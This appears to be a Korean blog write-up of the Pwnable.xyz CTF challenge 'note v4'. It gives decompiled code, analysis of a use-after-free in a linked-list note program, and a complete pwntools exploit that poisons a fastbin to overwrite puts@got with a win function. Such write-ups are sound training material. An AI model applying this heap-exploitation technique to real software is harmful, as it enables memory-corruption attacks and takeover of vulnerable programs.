tmxklab
[Pwnable.xyz] note v4 본문
1. 문제
nc svc.pwnable.xyz 30046
1) mitigation 확인
2) 문제 확인
3) 코드흐름 파악
3-1) main()
int __cdecl main(int argc, const char **argv, const char **envp)
{
int running; // [rsp+8h] [rbp-8h]
running = 1;
setup();
show_banner();
init_first_note();
LABEL_8:
while ( running )
{
show_menu();
printf("> ");
switch ( (unsigned __int64)(unsigned int)get_int() )
{
case 1uLL:
create_notes();
break;
case 2uLL:
select_note();
break;
case 3uLL:
edit_selected_note();
break;
case 4uLL:
delete_selected_note();
break;
case 5uLL:
running = 0;
break;
default:
goto LABEL_8;
}
}
puts("Bye...");
return 0;
}
3-2) create_notes()
void __cdecl create_notes()
{
int i; // [rsp+0h] [rbp-10h]
int count; // [rsp+4h] [rbp-Ch]
Note *lastNote; // [rsp+8h] [rbp-8h]
printf("How many notes do you want to create: ");
count = get_int();
if ( count + NoteCount > 199 )
{
puts("Not enough space left in your notebook...");
}
else
{
for ( lastNote = (Note *)&FirstNote; lastNote->Next; lastNote = lastNote->Next )
;
for ( i = 0; i < count; ++i )
{
lastNote->Next = (Note *)malloc(0x50uLL);
lastNote = lastNote->Next;
init_note(lastNote);
}
}
}
- count만큼 note를 생성하는데 single linked list구조로 보인다.
- note의 청크 크기는 0x50만큼 할당되는데 고정됨
3-3) select_note()
void __cdecl select_note()
{
int index; // [rsp+4h] [rbp-Ch]
printf("Which note do you want to select: ");
index = get_int();
if ( find_note(index) )
{
CurrentNote = index;
}
else
{
CurrentNote = -1LL;
puts("This note doesn't exist...");
}
}
- 선택한 인덱스를 CurrentNote(전역변수)에 저장
3-4) edit_selected_note()
void __cdecl edit_selected_note()
{
Note *note; // [rsp+8h] [rbp-8h]
if ( CurrentNote == -1 )
{
puts("Please select a note first...");
}
else
{
note = find_note(CurrentNote);
printf("Enter content for note %d: ", CurrentNote);
fgets(note->Data, 96, _bss_start);
}
}
- CurrentNote에 저장된 값을 통해 note를 찾아 data를 수정한다.
3-5) delete_selected_note()
void __cdecl delete_selected_note()
{
Note *note; // [rsp+8h] [rbp-8h]
if ( CurrentNote == -1 )
{
puts("Please select a valid note first...");
}
else
{
note = find_note(CurrentNote);
if ( note )
{
free(note->Data);
free(note);
CurrentNote = -1LL;
--NoteCount;
}
}
}
- note→data와 note를 free하고 CurrentNote를 -1로 초기화 및 NoteCount1씩 감소
- free되었음에도 unlink하는 부분과 널 값을 넣는 부분이 존재하지 않아 DFB가 발생할 수 있다.
3-6) init_note()
void __cdecl init_note(Note *note)
{
int v1; // eax
note->Data = (char *)malloc(0x60uLL);
v1 = NoteCount++;
note->Index = v1;
printf("Created note: %d\n", (unsigned int)note->Index);
}
- note→data에 0x60만큼 메모리할당하는데 고정됨
전역변수)
- CurrentNote(0x6022a0) : Note의 인덱스
- FirstNote(0x6022c0) : linked list(Note)의 첫 번째 head를 나타냄
- NoteCount(0x602310) : Note에 연결된 노드의 개수
Note 구조체)
2. 접근방법
1) 청크 구조 확인
노드를 3개 추가했을 때 구조(single linked list)
- FristNote를 포함해 총 4개의 노드가 존재하며 현재 CurrentNote를 지정하지 않았기에 인덱스 값이 -1로 초기화되어 있다.
- FirstNote : 0x6022c0, FirstNote→data : 0x603010, FirstNote→next : 0x603080
- node[1] : 0x603080, node[1]→data : 0x6030e0, node[1]→next : 0x603150
- node[2] : 0x603150, node[2]→data : 0x6031b0, node[2]→next : 0x603220
- node[3] : 0x603220, node[3]→data : 0x603280, node[3]→next : 0x0
그리고 각 노드로부터 0x40떨어진 곳에 자신의 인덱스 값이 저장되어 있다.
2) 노드 한 개를 제거했을 때 상황
위 코드에서 봤듯이 노드를 제거해도 unlink하는 부분이 없다.
- node[2]가 제거되었음에도 linked list구조에서 unlink되지 않고 계속 사용된다.
- 따라서 free된 청크에 값을 쓸 수 있음
fastbin dup를 사용해도 되고 uaf를 이용해도 문제를 풀어도 된다.
처음에 fastbin dup를 이용해서 문제를 풀기로했는데
현재 fastbin[5]에 있는 값을 가져다 써야한다. 그러기 위해선 size가 0x70 ~ 0x78이고 got overwrite하기 좋은 위치에 fake chunk가 존재해야 하는데 발견하지 못해서 다른 방법을 이용하기로 하였다.
(여기서 free_hook에 overwrite하려고 했는데 leak할 만한 것도 보이지 않아서 고민하다가 다른 사람 롸업 보면서 좀 더 쉬운 방법을 이용하였다. fastbin dup가능할 것 같은데... ㅠㅠ)
3) uaf를 이용하여 문제풀이
먼저, 선택한 node의 인덱스가 들어가는 CurrentNote전역변수 밑에는 FirstNote가 존재한다. 그리고 createNotes()를 통해서 최대 0xc8개의 node를 생성할 수 있다. 이 점을 이용하여 재할당 받을 수 있는 size에 맞게 fake chunk를 생성할 것이다.
[ 1단계 ]
- 하나의 청크를 생성 및 제거하여 fastbin에 들어간 상태이다.
- 또한, 0x71만큼 노드를 생성하고 0x71인덱스의 노드를 선택한 상황이다.
[ 2단계 ]
0x71인덱스의 노드에서 데이터를 저장하는 청크의 fd값을 변경
- free된 청크에 값을 작성할 수 있으므로 fd값을 0x602298(CurrentNote-0x8)로 변경
- fastbin[5]에 2개의 bin이 들어있고 마지막은 0x602298의 청크를 재할당하는데 사용된다.
[ 3단계 ]
2개의 청크를 생성하여 fastbin[5]의 마지막 bin인 0x602298을 재할당하는데 사용한다. 이후에 0x602298(CurrentNote)에 값을 쓸 수 있으므로 CurrentNote밑에 존재하는 FirstNote에 puts@got 값을 작성한다. 마지막은 overwrite
- 마지막으로 재할당 받은 0x602298의 청크가 note의 list에 등록된 것을 확인할 수 있다.
- 0x602298청크를 이용하여 FirstNote에 puts@got값을 써준다.
- 그러면 이제 FirstNote를 이용하여 puts@got에 값을 쓸 수 있다.
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./challenge")
e = ELF("./challenge")
p = remote("svc.pwnable.xyz", 30046)
#gdb.attach(p)
win = e.symbols['win']
puts_got = e.got['puts']
def create(count):
p.sendlineafter("> ", str(1))
p.sendlineafter(": ", str(count))
def edit(index, data):
p.sendlineafter("> ", str(2))
p.sendlineafter(": ", str(index))
p.sendlineafter("> ", str(3))
p.sendlineafter(": ", data)
def delete(index):
p.sendlineafter("> ", str(2))
p.sendlineafter(": ", str(index))
p.sendlineafter("> ", str(4))
create(0x71)
delete(0x71)
# 1. create fake chunka(CurrentNote-0x8)
edit(0x71, p64(0x6022a0-0x8))
# 2. overwrite (FirstNote->data) = puts@got
create(2)
edit(0x72, p64(0x0)*5+p64(puts_got))
edit(0, p64(win))
p.interactive()
2) 실행결과
4. 몰랐던 개념
힛콘 트레이닝이랑 HackCTF문제에서 힙 관련 문제를 몇 번 풀어봤는데 기법에 너무 의존하는 것 같다.
앞으로 기법에 의존하기 보다는 로직을 완벽히 이해하고 분석능력을 키워서 이번 문제처럼 어떻게 문제를 올바른 방향으로 해결할지 고민을 많이 해보도록 해야겠다.
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] AdultVM2 (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] AdultVM (0) | 2020.09.09 |
[Pwnable.xyz] fishing (0) | 2020.09.09 |
[Pwnable.xyz] knum (0) | 2020.09.09 |
[Pwnable.xyz] PvE (0) | 2020.09.09 |